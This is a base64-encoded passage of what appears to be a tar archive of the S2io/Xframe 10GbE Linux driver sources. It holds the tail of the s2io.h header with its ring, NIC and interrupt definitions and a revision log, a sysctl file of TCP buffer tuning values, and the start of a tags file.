ICB1MzIgICAgIHJ4ZF9yaW5nX21lbV9zejsKCiAgICBSeERfdCogIFJ4UmluZ1tNQVhfUlhfUklO R1NdOyAgICAvKiBMb2dpY2FsIFJ4IHJpbmcgcG9pbnRlcnMgKi8KICAgIGRtYWFkZHJfdCAgICAg UnhSaW5nX1BoeVtNQVhfUlhfUklOR1NdOwoKICAgIHJ4X2N1cnJfcHV0X2luZm9fdCAgcnhfY3Vy cl9wdXRfaW5mb1tNQVhfUlhfUklOR1NdOyAvKiBjb21tZW50cyBoZXJlICovIAogICAgcnhfY3Vy cl9nZXRfaW5mb190ICByeF9jdXJyX2dldF9pbmZvW01BWF9SWF9SSU5HU107IC8qIGNvbW1lbnRz IGhlcmUgKi8gCgogICAgdTE2ICAgICBybWFjX3BhdXNlX3RpbWU7IAoKICAgIC8qIHRoaXMgd2ls bCBiZSB1c2VkIGluIHJlY2VpdmUgZnVuY3Rpb24sIHRoaXMgZGVjaWRlcyB3aGljaCByaW5nIHdv dWxkCiAgICAgICAgYmUgcHJvY2Vzc2VkIGZpcnN0LiBlZzogcmluZyB3aXRoIHByaW9yaXR5IHZh bHVlIDAgKGhpZ2hlc3QpIHNob3VsZAogICAgICAgIGJlIHByb2Nlc3NlZCBmaXJzdC4gCiAgICAg ICAgCiAgICAgICAgZmlyc3QgMyBMU0IgYml0cyByZXByZXNlbnQgcmluZyBudW1iZXIgd2hpY2gg c2hvdWxkIGJlIHByb2Nlc3NlZCBmaXJzdCwKICAgICAgICBzaW1pbGFybHkgbmV4dCAzIGJpdHMg cmVwcmVzZW50IG5leHQgcmluZyB0byBiZSBwcm9jZXNzZWQuCiAgICAgICAgZWc6IHZhbHVlIG9m IF9yeF9yaW5nX3ByaV9tYXAgPSAweDAwMDAgMDAzQSBtZWFucyAKICAgICAgICAgICAgcmluZyAj MiB3b3VsZCBiZSBwcm9jZXNzZWQgZmlyc3QgYW5kICM3IHdvdWxkIGJlIHByb2Nlc3NlZCBuZXh0 CiAgICAqLwogICAgdTMyICAgICBfcnhfcmluZ19wcmlfbWFwOwogCi8qIHR4IHNpZGUgc3R1ZmYg Ki8KICAgIHZvaWQqICAgdHhkX2xpc3RfbWVtOyAgICAgLyogb3JpZ25hbCBwb2ludGVyIHRvIGFs bG9jYXRlZCBtZW0gKi8KICAgIGRtYWFkZHJfdCB0eGRfbGlzdF9tZW1fcGh5OwogICAgdTMyICAg ICB0eGRfbGlzdF9tZW1fc3o7CgogICAgLyogbG9naWNhbCBwb2ludGVyIG9mIHN0YXJ0IG9mIGVh Y2ggVHggRklGTyAqLwogICAgVHhGSUZPX2VsZW1lbnRfdCogICB0eF9GSUZPX3N0YXJ0W01BWF9U WF9GSUZPU107IAoKICAgIC8qIGxvZ2ljYWwgcG9pbnRlciBvZiBzdGFydCBvZiBUeERMIHdoaWNo IGNvcnJlc3BvbmRzIHRvIGVhY2ggVHggRklGTyAqLwogICAgVHhEX3QqICAgICAgICAgICAgICB0 eGRsX3N0YXJ0W01BWF9UWF9GSUZPU107CgogICAgLyogU2FtZSBhcyB0eGRsX3N0YXJ0IGJ1dCBw aHkgYWRkciovICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICBkbWFh ZGRyX3QgdHhkbF9zdGFydF9waHlbTUFYX1RYX0ZJRk9TXTsgCgovKiBDdXJyZW50IG9mZnNldCB3 aXRoaW4gdHhfRklGT19zdGFydCwgd2hlcmUgZHJpdmVyIHdvdWxkIHdyaXRlIG5ldyBUeCBmcmFt ZSovIAogICAgdHhfY3Vycl9wdXRfaW5mb190ICAgdHhfY3Vycl9wdXRfaW5mb1tNQVhfVFhfRklG T1NdOyAgIAogICAgdHhfY3Vycl9nZXRfaW5mb190ICAgdHhfY3Vycl9nZXRfaW5mb1tNQVhfVFhf RklGT1NdOyAgIAoKICAgIHUxNiAgICAgICAgICAgICAgICAgIHR4ZGxfbGVuOyAvKiBsZW5ndGgg b2YgYSBUeERMLCBzYW1lIGZvciBhbGwqLwoKICAgIHZvaWQqICAgICAgIHN0YXRzX21lbTsgICAg ICAgIC8qIG9yaWduYWwgcG9pbnRlciB0byBhbGxvY2F0ZWQgbWVtICovCiAgICBkbWFhZGRyX3Qg ICBzdGF0c19tZW1fcGh5OwogICAgdTMyICAgICAgICAgc3RhdHNfbWVtX3N6OwogICAgU3RhdElu Zm9fdCAgKlN0YXRzSW5mbzsgIC8qIExvZ2ljYWwgYWRkcmVzcyBvZiB0aGUgc3RhdCBibG9jayAq LwogICAgZG1hYWRkcl90ICAgIFN0YXRzSW5mb1BoeTsgIC8qIFBoeXNpY2FsIGFkZHJlc3Mgb2Yg dGhlIHN0YXQgYmxvY2sgKi8KfSBtYWNfaW5mb190OwoKLyogc3RydWN0dXJlIHJlcHJlc2VudGlu ZyB0aGUgdXNlciBkZWZpbmVkIE1BQyBhZGRyZXNzZXMgKi8KdHlwZWRlZiBzdHJ1Y3QgewogICAg Y2hhciAgYWRkcltFVEhfQUxFTl07CiAgICBpbnQgdXNhZ2VfY250Owp9dXNyX2FkZHJfdDsKCi8q IFN0cnVjdHVyZSB0aGF0IGhvbGRzIHRoZSBQaHkgYW5kIHZpcnQgYWRkcmVzc2VzIG9mIHRoZSBC bG9ja3MgKi8KdHlwZWRlZiBzdHJ1Y3QgcnhfYmxvY2tfaW5mbwp7CiAgICBSeERfdCAgICpibG9j a192aXJ0X2FkZHI7CiAgICB1NjQgICAgIGJsb2NrX2RtYV9hZGRyOwp9cnhfYmxvY2tfaW5mb190 OwoKLyogU3RydWN0dXJlIHJlcHJlc2VudGluZyBvbmUgaW5zdGFuY2Ugb2YgdGhlIE5JQyAqLwp0 eXBlZGVmIHN0cnVjdCBzMmlvX25pYyB7CiNkZWZpbmUgTUFYX01BQ19TVVBQT1JURUQgICAxNgoj ZGVmaW5lIE1BWF9TVVBQT1JURURfTVVMVElDQVNUUyBNQVhfTUFDX1NVUFBPUlRFRAoKICAgIG1h Y2FkZHJfdCBkZWZNYWNBZGRyW01BWF9NQUNfU1VQUE9SVEVEXTsKICAgIG1hY2FkZHJfdCBwcmVN YWNBZGRyW01BWF9NQUNfU1VQUE9SVEVEXTsKCiAgICBzdHJ1Y3QgbmV0X2RldmljZV9zdGF0cyBz dGF0czsKICAgIGNhZGRyX3QgYmFyMDsKICAgIGNhZGRyX3QgYmFyMTsKICAgIHN0cnVjdCBjb25m aWdfcGFyYW0gY29uZmlnOwogICAgbWFjX2luZm9fdCBtYWNfY29udHJvbDsKICAgIHUzMiAgICAg X2ZSZXNvdXJjZTsgLyogVHJhY2tzIHJlc291cmNlcyBhbGxvY2VkICovCiAgICBpbnQgICAgIGhp Z2hfZG1hX2ZsYWc7CiAgICBpbnQgICAgIGRldmljZV9jbG9zZV9mbGFnOwogICAgaW50ICAgICBk ZXZpY2VfZW5hYmxlZF9vbmNlOwoKICAgIGNoYXIgbmFtZVszMl07IAogICAgc3RydWN0IHRhc2ts ZXRfc3RydWN0IHRhc2s7CiAgICBhdG9taWNfdCB0YXNrbGV0X3N0YXR1czsKICAgIHN0cnVjdCB0 aW1lcl9saXN0IHRpbWVyOwogICAgc3RydWN0IG5ldF9kZXZpY2UgKmRldjsKICAgIHN0cnVjdCBw Y2lfZGV2ICAgICpwZGV2OwoKICAgIHUxNiB2ZW5kb3JfaWQ7CiAgICB1MTYgZGV2aWNlX2lkOwog ICAgdTE2IGNjbWQ7CiAgICB1MzIgY2JhcjBfMTsKICAgIHUzMiBjYmFyMF8yOwogICAgdTMyIGNi YXIxXzE7CiAgICB1MzIgY2JhcjFfMjsKCXUzMiBjaXJxOwogICAgdTggIGNhY2hlX2xpbmU7CiAg ICB1MzIgcm9tX2V4cGFuc2lvbjsKICAgIHUxNiBwY2l4X2NtZDsKICAgIHUzMiBjb25maWdfc3Bh Y2VbMjU2L3NpemVvZih1MzIpXTsKICAgIHUzMiBpcnE7CiAgICBhdG9taWNfdCByeF9idWZzX2xl ZnRbTUFYX1JYX1JJTkdTXTsKCglzcGlubG9ja190IGlzcl9sb2NrOwoJc3BpbmxvY2tfdCB0eF9s b2NrOwoKI2RlZmluZSBQUk9NSVNDICAgICAxCiNkZWZpbmUgQUxMX01VTFRJICAgMgogICAgCiNk ZWZpbmUgTUFYX0FERFJTX1NVUFBPUlRFRCA2NAogICAgdTE2IHVzcl9hZGRyX2NvdW50OwoJdTE2 CW1jX2FkZHJfY291bnQ7CiAgICB1c3JfYWRkcl90ICB1c3JfYWRkcnNbTUFYX0FERFJTX1NVUFBP UlRFRF07CiAgICAKICAgIHUxNiBtX2Nhc3RfZmxnOwogICAgdTE2IGFsbF9tdWx0aV9wb3M7CiAg ICB1MTYgcHJvbWlzY19mbGc7CiAgICAKICAgIHUxNiB0eF9wa3RfY291bnQ7CiAgICB1MTYgcnhf cGt0X2NvdW50OwogICAgdTE2IHR4X2Vycl9jb3VudDsKICAgIHUxNiByeF9lcnJfY291bnQ7Cgoj aWYgREVCVUdfT04KCXU2NCByeHBrdF9ieXRlczsKCXU2NCB0eHBrdF9ieXRlczsKCWludCBpbnRf Y250OwoJaW50IHJ4aW50X2NudDsKCWludCB0eGludF9jbnQ7Cgl1NjQgcnhwa3RfY250OwojZW5k aWYKCi8qICBQbGFjZSBob2xkZXJzIGZvciB0aGUgdmlydHVhbCBhbmQgcGh5c2ljYWwgYWRkcmVz c2VzIG9mIGFsbCB0aGUKICogIFJ4IEJsb2NrcyAqLwogICAgc3RydWN0IHJ4X2Jsb2NrX2luZm8g cnhfYmxvY2tzW01BWF9SWF9SSU5HU11bTUFYX1JYX0JMT0NLU19QRVJfUklOR107CiAgICBpbnQg YmxvY2tfY291bnRbTUFYX1JYX1JJTkdTXTsKICAgIGludCBwa3RfY250W01BWF9SWF9SSU5HU107 Ci8qIAogICAgUG9pbnRlciB0byB0aGUgbGFzdCBidWZmZXIgdGhhdCBjb3VsZCBub3QgYmUgVHgn ZWQgYmVmb3JlIHN0b3BwaW5nIHRoZSAKICAgIFR4IFF1ZXVlCiovCiAgICB2b2lkICp0eF9wa3Rf cHRyOwoKLyogCUlkIHRpbWVyLCB1c2VkIHRvIGJsaW5rIGFkYXB0ZXIgdG8gcGh5c2ljYWxseSBp ZGVudGlmeSBOSUMuICovCglzdHJ1Y3QgdGltZXJfbGlzdCBpZF90aW1lcjsKCi8qCWFmdGVyIGJs aW5rLCB0aGUgYWRhcHRlciBtdXN0IGJlIHJlc3RvcmVkIHdpdGggb3JpZ2luYWwgdmFsdWVzLiAq LwoJdTY0CWFkYXB0X2N0cmxfb3JnOwoKLyogUGt0IGNvdW50ZXIgZm9yIGxvb3AgYmFjayBmcmFt ZXMuKi8KCWludCBsb29wX3BrdF9jbnQ7Cn1uaWNfdDsJLy8gX19jYWNoZWxpbmVfYWxpZ25lZDsK CiNkZWZpbmUgUkVTRVRfRVJST1IgMTsKI2RlZmluZSBDTURfRVJST1IgICAyOwoKLyogRGVmYXVs dCBUdW5hYmxlIHBhcmFtZXRlcnMgb2YgdGhlIE5JQy4gKi8KI2RlZmluZSBERUZBVUxUX0ZJRk9f TEVOIDQwOTYKI2RlZmluZSBTTUFMTF9SWERfQ05UCTEwICogKE1BWF9SWERTX1BFUl9CTE9DSysx KQojZGVmaW5lIExBUkdFX1JYRF9DTlQJMTUwICogKE1BWF9SWERTX1BFUl9CTE9DSysxKQoKLyog IE9TIHJlbGF0ZWQgc3lzdGVtIGNhbGxzICovCgojaWYgISBkZWZpbmVkICggWEVOQV9BUkNIXzY0 ICkgfHwgZGVmaW5lZCAoIEFSQ0hfUFBDNjQgKQpzdGF0aWMgaW5saW5lIHU2NCByZWFkNjQodm9p ZCAqYWRkcikKewogICAgdTY0IHJldCA9IDA7CiAgICByZXQgPSByZWFkbChhZGRyKzQpOwogICAg KHU2NClyZXQgPDw9IDMyOwogICAgKHU2NClyZXQgfD0gcmVhZGwoYWRkcik7CgogICAgcmV0dXJu IHJldDsKfQojZWxzZQpzdGF0aWMgaW5saW5lIHU2NCByZWFkNjQodm9pZCAqYWRkcikKewoJdTY0 IHJldCA9IHJlYWRxKGFkZHIpOwoJcmV0dXJuIHJldDsKfQojZW5kaWYKI2RlZmluZSByZWFkMzIo YWRkciwgcmV0KSAgcmV0ID0gIHJlYWRsKGFkZHIpOwojZGVmaW5lIHJlYWQxNihhZGRyLCByZXQp ICByZXQgPSAgcmVhZHcoYWRkcik7CiNkZWZpbmUgcmVhZDgoYWRkciwgcmV0KSAgIHJldCA9ICBy ZWFkYihhZGRyKTsKCiNpZiAhIGRlZmluZWQgKCBYRU5BX0FSQ0hfNjQgKSB8fCBkZWZpbmVkICgg QVJDSF9QUEM2NCApCnN0YXRpYyBpbmxpbmUgdm9pZCB3cml0ZTY0KHZvaWQgKmFkZHIsIHU2NCB2 YWwpCnsKICAgIHdyaXRlbCgodTMyKSh2YWwpLCBhZGRyKTsKICAgIHdyaXRlbCgodTMyKSh2YWwg Pj4zMiksIChhZGRyKzQpKTsKfQojZWxzZQojZGVmaW5lIHdyaXRlNjQoYWRkciwgcmV0KSB3cml0 ZXEocmV0LCh2b2lkICopYWRkcikKI2VuZGlmCiNkZWZpbmUgd3JpdGUzMihhZGRyLCByZXQpIHdy aXRlbChyZXQsKHZvaWQgKilhZGRyKTsKI2RlZmluZSB3cml0ZTE2KGFkZHIsIHJldCkgd3JpdGV3 KHJldCwodm9pZCAqKWFkZHIpOwojZGVmaW5lIHdyaXRlOChhZGRyLCByZXQpICB3cml0ZWIocmV0 LCh2b2lkICopYWRkcik7CgovKiAgSW50ZXJydXB0IHJlbGF0ZWQgdmFsdWVzIG9mIFhlbmEgKi8K CiNkZWZpbmUgRU5BQkxFX0lOVFJTICAgIDEKI2RlZmluZSBESVNBQkxFX0lOVFJTICAgMgoKLyog IEhpZ2hlc3QgbGV2ZWwgaW50ZXJydXB0IGJsb2NrcyAqLwojZGVmaW5lIFRYX1BJQ19JTlRSICAg ICAoMHgwMDAxPDwwKQojZGVmaW5lIFRYX0RNQV9JTlRSICAgICAoMHgwMDAxPDwxKQojZGVmaW5l IFRYX01BQ19JTlRSICAgICAoMHgwMDAxPDwyKSAgICAKI2RlZmluZSBUWF9YR1hTX0lOVFIgICAg KDB4MDAwMTw8MykgICAgCiNkZWZpbmUgVFhfVFJBRkZJQ19JTlRSICgweDAwMDE8PDQpICAgIAoj ZGVmaW5lIFJYX1BJQ19JTlRSICAgICAoMHgwMDAxPDw1KSAgICAKI2RlZmluZSBSWF9ETUFfSU5U UiAgICAgKDB4MDAwMTw8NikgICAgCiNkZWZpbmUgUlhfTUFDX0lOVFIgICAgICgweDAwMDE8PDcp ICAKI2RlZmluZSBSWF9YR1hTX0lOVFIgICAgKDB4MDAwMTw8OCkgICAgCiNkZWZpbmUgUlhfVFJB RkZJQ19JTlRSICgweDAwMDE8PDkpICAgIAojZGVmaW5lIE1DX0lOVFIgICAgICAgICAoMHgwMDAx PDwxMCkKI2RlZmluZSBFTkFfQUxMX0lOVFJTICAgICggICBUWF9QSUNfSU5UUiAgICAgfCBcCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICBUWF9ETUFfSU5UUiAgICAgfCBcCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICBUWF9NQUNfSU5UUiAgICAgfCBcCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICBUWF9YR1hTX0lOVFIgICAgfCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBU WF9UUkFGRklDX0lOVFIgfCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSWF9QSUNfSU5U UiAgICAgfCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSWF9ETUFfSU5UUiAgICAgfCBc CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSWF9NQUNfSU5UUiAgICAgfCBcCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICBSWF9YR1hTX0lOVFIgICAgfCBcCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICBSWF9UUkFGRklDX0lOVFIgfCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICBNQ19JTlRSICkKCi8qICBJbnRlcnJ1cHQgbWFza3MgZm9yIHRoZSBnZW5lcmFsIGludGVycnVw dCBtYXNrIHJlZ2lzdGVyICovCiNkZWZpbmUgRElTQUJMRV9BTExfSU5UUlMgICAweEZGRkZGRkZG RkZGRkZGRkZVTEwKCiNkZWZpbmUgVFhQSUNfSU5UX00gICAgICAgICBCSVQoMCkKI2RlZmluZSBU WERNQV9JTlRfTSAgICAgICAgIEJJVCgxKQojZGVmaW5lIFRYTUFDX0lOVF9NICAgICAgICAgQklU KDIpCiNkZWZpbmUgVFhYR1hTX0lOVF9NICAgICAgICBCSVQoMykKI2RlZmluZSBUWFRSQUZGSUNf SU5UX00gICAgIEJJVCg4KQojZGVmaW5lIFBJQ19SWF9JTlRfTSAgICAgICAgQklUKDMyKQojZGVm aW5lIFJYRE1BX0lOVF9NICAgICAgICAgQklUKDMzKQojZGVmaW5lIFJYTUFDX0lOVF9NICAgICAg ICAgQklUKDM0KQojZGVmaW5lIE1DX0lOVF9NICAgICAgICAgICAgQklUKDM1KQojZGVmaW5lIFJY WEdYU19JTlRfTSAgICAgICAgQklUKDM2KQojZGVmaW5lIFJYVFJBRkZJQ19JTlRfTSAgICAgQklU KDQwKQoKLyogIFBJQyBsZXZlbCBJbnRlcnJ1cHRzIFRPRE8qLwoKLyogIERNQSBsZXZlbCBJbnJl c3N1cHRzICovCiNkZWZpbmUgVFhETUFfUEZDX0lOVF9NICAgICBCSVQoMCkKICAgIC8qICBQRkMg YmxvY2sgaW50ZXJydXB0cyAqLwojZGVmaW5lIFBGQ19NSVNDX0VSUl8xICAgICAgQklUKDApIC8q IEludGVycnVwdCB0byBpbmRpY2F0ZSBGSUZPIGZ1bGwgKi8KCiNlbmRpZiAvKiBfUzJJT19IICov Ci8qCiAqJExvZzogczJpby5oLHYgJAogKlJldmlzaW9uIDEuNTMgIDIwMDQvMDEvMjAgMDU6MTY6 MDEgIHJrb3VzaGlrCiAqQnVnOiAzOTcKICpUU08gaXMgZW5hYmxlZCBieSBkZWZhdWx0IGlmIHN1 cHBvcnRlZCBieSBLZXJuZWwuCiAqVGhlIHVuZGVmIG1hY3JvIHRvIGRpc2FibGUgVFNPIHdhcyBy ZW1vdmVkIGZyb20gdGhlIHMyaW8uaCBoZWFkZXIgZmlsZS4KICoKICpLb3VzaGlrCiAqCiAqUmV2 aXNpb24gMS41MiAgMjAwNC8wMS8xOSAyMToxMzozMiAgYXJhdmkKICpCdWc6IDU5MwogKkZpeGVk IFR4IExpbmsgbG9zcyBwcm9ibGVtIGJ5CiAqMS4gY2hlY2tpbmcgZm9yIHB1dCBwb2ludGVyIG5v dCBnb2luZyBiZXlvbmQgZ2V0IHBvaW50ZXIKICoyLiBzZXQgZGVmYXVsdCB0eCBkZXNjcmlwdG9y cyB0byA0MDk2KCBkb25lIGluIHMyaW8uaCkKICozLiBTZXQgcnRzX2ZybV9sZW4gcmVnaXN0ZXIg dG8gTVRVIHNpemUuCiAqNC4gQ29ycmVjdGVkIHRoZSBsZW5ndGggdXNlZCBmb3IgYWRkcmVzcyB1 bm1hcHBpbmcgaW4KICogICAgdHggaW50ciBoYW5kbGVyLgogKgogKlJldmlzaW9uIDEuNTEgIDIw MDQvMDEvMTkgMDk6NTE6MDggIHJrb3VzaGlrCiAqQnVnOiA1OTgKICogQWRkZWQgR1BMIG5vdGlj ZXMgb24gdGhlIGRyaXZlciBzb3VyY2UgZmlsZXMsIG5hbWVseQogKnMyaW8uYywgczJpby5oIGFu ZCByZWdzLmgKICoKICpLb3VzaGlrCiAqCiAqUmV2aXNpb24gMS41MCAgMjAwMy8xMi8zMCAxMzow MzozNCAgcmtvdXNoaWsKICpCdWc6IDE3NwogKlRoZSBkcml2ZXIgaGFzIGJlZW4gdXBkYXRlZCB3 aXRoIHN1cHBvcnQgZm9yIGZ1bnRpb25hbGl0aWVzIGluIGV0aHRvb2wKICp2ZXJzaW9uIDEuOC4g SW50ZXJydXB0IG1vZGVyYXRpb24gaGFzIGJlZW4gc2tpcHBlZCBhcyB0aGUgbWV0aG9kb2xvZ3kg dG8KICpzZXQgaXQgdXNpbmcgZXRodG9vbCBpcyBkaWZmZXJlbnQgdG8gb3VyIG1ldGhvZG9sb2d5 LgogKgogKi1Lb3VzaGlrCiAqCiAqUmV2aXNpb24gMS40OSAgMjAwMy8xMi8xNiAyMToxNTozMiAg dWtpcmFuCiAqQnVnOjU0MgogKkluY3JlYXNlZCBkZWZhdWx0IEZJRk8gdG8gMTAyNCAqNgogKgog KlJldmlzaW9uIDEuNDggIDIwMDMvMTIvMDEgMjI6MDM6MDggIHVraXJhbgogKkJ1Zzo1MTAKICpD bGVhbnVwIG9mIA0gY2hhcnMKICoKICpSZXZpc2lvbiAxLjQ3ICAyMDAzLzExLzA0IDAyOjA3OjAz ICB1a2lyYW4KICpCdWc6NDg0CiAqRW5hYmxpbmcgTG9ncyBpbiBzb3VyY2UgY29kZQogKgogKi8K CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL3N5c2N0bF94ZnJhbWUuY29uZgAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDMwNDUA MTAwMDMwMjE2NDUAMDEzNDM1ACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMgc29tZSBvZiB0aGUgZGVmYXVsdHMg bWF5IGJlIGRpZmZlcmVudCBmb3IgeW91ciBrZXJuZWwKIyBjYWxsIHRoaXMgZmlsZSB3aXRoIHN5 c2N0bCAtcCA8dGhpcyBmaWxlPgojIHRoZXNlIGFyZSBqdXN0IHN1Z2dlc3RlZCB2YWx1ZXMgdGhh dCB3b3JrZWQgd2VsbCB0byBpbmNyZWFzZSB0aHJvdWdocHV0IGluCiMgc2V2ZXJhbCBuZXR3b3Jr IGJlbmNobWFyayB0ZXN0cywgeW91ciBtaWxlYWdlIG1heSB2YXJ5CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiMjIyBJUFY0IHNwZWNpZmljIHNldHRpbmdzCm5ldC5pcHY0LnRjcF90aW1lc3RhbXBz ID0gMCAjIHR1cm5zIFRDUCB0aW1lc3RhbXAgc3VwcG9ydCBvZmYsIGRlZmF1bHQgMSwgcmVkdWNl cyBDUFUgdXNlCm5ldC5pcHY0LnRjcF9zYWNrID0gMCAjIHR1cm4gU0FDSyBzdXBwb3J0IG9mZiwg ZGVmYXVsdCBvbgojIG9uIHN5c3RlbXMgd2l0aCBhIFZFUlkgZmFzdCBidXMgLT4gbWVtb3J5IGlu dGVyZmFjZSB0aGlzIGlzIHRoZSBiaWcgZ2FpbmVyCm5ldC5pcHY0LnRjcF9ybWVtID0gMTAwMDAw MDAgMTAwMDAwMDAgMTAwMDAwMDAgIyBzZXRzIG1pbi9kZWZhdWx0L21heCBUQ1AgcmVhZCBidWZm ZXIsIGRlZmF1bHQgNDA5NiA4NzM4MCAxNzQ3NjAKbmV0LmlwdjQudGNwX3dtZW0gPSAxMDAwMDAw MCAxMDAwMDAwMCAxMDAwMDAwMCAjIHNldHMgbWluL3ByZXNzdXJlL21heCBUQ1Agd3JpdGUgYnVm ZmVyLCBkZWZhdWx0IDQwOTYgMTYzODQgMTMxMDcyCm5ldC5pcHY0LnRjcF9tZW0gPSAxMDAwMDAw MCAxMDAwMDAwMCAxMDAwMDAwMCAjIHNldHMgbWluL3ByZXNzdXJlL21heCBUQ1AgYnVmZmVyIHNw YWNlLCBkZWZhdWx0IDMxNzQ0IDMyMjU2IDMyNzY4CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiMj IyBDT1JFIHNldHRpbmdzIChtb3N0bHkgZm9yIHNvY2tldCBhbmQgVURQIGVmZmVjdCkKbmV0LmNv cmUucm1lbV9tYXggPSA1MjQyODcgIyBtYXhpbXVtIHJlY2VpdmUgc29ja2V0IGJ1ZmZlciBzaXpl LCBkZWZhdWx0IDEzMTA3MQpuZXQuY29yZS53bWVtX21heCA9IDUyNDI4NyAjIG1heGltdW0gc2Vu ZCBzb2NrZXQgYnVmZmVyIHNpemUsIGRlZmF1bHQgMTMxMDcxCm5ldC5jb3JlLnJtZW1fZGVmYXVs dCA9IDUyNDI4NyAjIGRlZmF1bHQgcmVjZWl2ZSBzb2NrZXQgYnVmZmVyIHNpemUsIGRlZmF1bHQg NjU1MzUKbmV0LmNvcmUud21lbV9kZWZhdWx0ID0gNTI0Mjg3ICMgZGVmYXVsdCBzZW5kIHNvY2tl dCBidWZmZXIgc2l6ZSwgZGVmYXVsdCA2NTUzNQpuZXQuY29yZS5vcHRtZW1fbWF4ID0gNTI0Mjg3 ICMgbWF4aW11bSBhbW91bnQgb2Ygb3B0aW9uIG1lbW9yeSBidWZmZXJzLCBkZWZhdWx0IDEwMjQw Cm5ldC5jb3JlLm5ldGRldl9tYXhfYmFja2xvZyA9IDMwMDAwMCAjIG51bWJlciBvZiB1bnByb2Nl c3NlZCBpbnB1dCBwYWNrZXRzIGJlZm9yZSBrZXJuZWwgc3RhcnRzIGRyb3BwaW5nIHRoZW0sIGRl ZmF1bHQgMzAwCgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi90YWdzAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAADAxMDA2NDQAMDAwMDAwMAAwMDAwMDAwADAwMDAwMjAxNDI2ADEwMDAw NzY3MzUzADAxMDYwMQAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhX1RBR19GSUxFX0ZPUk1BVAkyCS9leHRlbmRl 